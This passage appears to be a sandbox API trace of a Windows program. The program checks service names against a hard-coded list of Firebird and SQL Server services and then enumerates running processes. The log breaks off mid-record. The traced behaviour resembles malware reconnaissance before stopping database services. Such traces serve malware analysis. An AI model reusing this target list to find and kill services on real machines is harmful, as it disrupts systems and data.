[0230.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0230.546] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0230.546] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0230.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0230.546] lstrlenW (lpString="lfsvc") returned 5 [0230.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0230.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0230.546] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0230.546] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0230.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0230.546] lstrlenW (lpString="lmhosts") returned 7 [0230.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0230.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0230.547] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0230.547] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0230.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0230.547] lstrlenW (lpString="LSM") returned 3 [0230.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0230.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0230.547] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0230.547] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0230.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0230.547] lstrlenW (lpString="MpsSvc") returned 6 [0230.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0230.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0230.547] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0230.547] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0230.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0230.547] lstrlenW (lpString="NcbService") returned 10 [0230.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0230.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0230.547] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0230.547] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0230.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0230.547] lstrlenW (lpString="netprofm") returned 8 [0230.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0230.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0230.547] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0230.547] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0230.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0230.548] lstrlenW (lpString="NgcSvc") returned 6 [0230.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0230.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0230.548] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0230.548] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0230.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0230.548] lstrlenW (lpString="NlaSvc") returned 6 [0230.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0230.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0230.548] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0230.548] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0230.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0230.548] lstrlenW (lpString="nsi") returned 3 [0230.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0230.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0230.548] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0230.548] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0230.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0230.548] lstrlenW (lpString="PcaSvc") returned 6 [0230.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0230.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0230.548] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0230.548] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0230.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0230.548] lstrlenW (lpString="PlugPlay") returned 8 [0230.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0230.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0230.549] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0230.549] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0230.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0230.549] lstrlenW (lpString="Power") returned 5 [0230.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0230.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0230.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0230.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0230.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0230.549] lstrlenW (lpString="ProfSvc") returned 7 [0230.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0230.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0230.549] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0230.549] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0230.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0230.549] lstrlenW (lpString="RpcEptMapper") returned 12 [0230.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0230.549] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0230.549] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0230.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0230.549] lstrlenW (lpString="RpcSs") returned 5 [0230.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0230.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0230.549] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0230.549] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0230.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0230.549] lstrlenW (lpString="SamSs") returned 5 [0230.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0230.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0230.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0230.550] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0230.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0230.550] lstrlenW (lpString="Schedule") returned 8 [0230.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0230.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0230.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0230.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0230.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0230.550] lstrlenW (lpString="SecurityHealthService") returned 21 [0230.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0230.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0230.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0230.550] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0230.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0230.550] lstrlenW (lpString="SENS") returned 4 [0230.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0230.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0230.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0230.550] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0230.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0230.550] lstrlenW (lpString="ShellHWDetection") returned 16 [0230.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.554] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0230.555] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0230.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0230.555] lstrlenW (lpString="Spooler") returned 7 [0230.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0230.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0230.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0230.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0230.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0230.555] lstrlenW (lpString="StateRepository") returned 15 [0230.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0230.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0230.555] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0230.555] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0230.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0230.555] lstrlenW (lpString="SysMain") returned 7 [0230.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0230.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0230.555] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0230.555] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0230.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0230.555] lstrlenW (lpString="SystemEventsBroker") returned 18 [0230.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0230.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0230.555] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0230.555] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0230.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0230.555] lstrlenW (lpString="Themes") returned 6 [0230.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0230.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0230.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0230.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0230.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0230.556] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0230.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0230.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0230.556] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0230.556] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0230.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0230.556] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0230.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0230.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0230.556] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0230.556] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0230.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x425eeb8 | out: hHeap=0x670000) returned 1 [0230.556] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c0 [0230.565] Process32FirstW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.565] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.566] lstrlenW (lpString="System") returned 6 [0230.566] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.568] lstrlenW (lpString="smss.exe") returned 8 [0230.568] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.569] lstrlenW (lpString="csrss.exe") returned 9 [0230.569] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.569] lstrlenW (lpString="wininit.exe") returned 11 [0230.569] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.570] lstrlenW (lpString="csrss.exe") returned 9 [0230.570] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.570] lstrlenW (lpString="winlogon.exe") returned 12 [0230.570] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.571] lstrlenW (lpString="services.exe") returned 12 [0230.571] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.571] lstrlenW (lpString="lsass.exe") returned 9 [0230.572] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.572] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0230.572] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.573] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0230.573] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.573] lstrlenW (lpString="svchost.exe") returned 11 [0230.573] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.574] lstrlenW (lpString="svchost.exe") returned 11 [0230.574] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.574] lstrlenW (lpString="dwm.exe") returned 7 [0230.574] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.575] lstrlenW (lpString="svchost.exe") returned 11 [0230.575] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.575] lstrlenW (lpString="svchost.exe") returned 11 [0230.575] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.576] lstrlenW (lpString="svchost.exe") returned 11 [0230.576] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.576] lstrlenW (lpString="svchost.exe") returned 11 [0230.576] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.577] lstrlenW (lpString="svchost.exe") returned 11 [0230.577] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.577] lstrlenW (lpString="svchost.exe") returned 11 [0230.578] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.578] lstrlenW (lpString="svchost.exe") returned 11 [0230.578] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.579] lstrlenW (lpString="svchost.exe") returned 11 [0230.579] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.579] lstrlenW (lpString="svchost.exe") returned 11 [0230.579] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.580] lstrlenW (lpString="svchost.exe") returned 11 [0230.580] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.580] lstrlenW (lpString="spoolsv.exe") returned 11 [0230.580] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.581] lstrlenW (lpString="svchost.exe") returned 11 [0230.581] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.581] lstrlenW (lpString="audiodg.exe") returned 11 [0230.581] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0230.582] lstrlenW (lpString="sihost.exe") returned 10 [0230.582] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.582] lstrlenW (lpString="svchost.exe") returned 11 [0230.583] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0230.583] lstrlenW (lpString="taskhostw.exe") returned 13 [0230.583] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0230.584] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0230.584] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0230.584] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0230.584] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0230.585] lstrlenW (lpString="Memory Compression") returned 18 [0230.585] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.585] lstrlenW (lpString="explorer.exe") returned 12 [0230.585] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0230.586] lstrlenW (lpString="SearchUI.exe") returned 12 [0230.586] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, 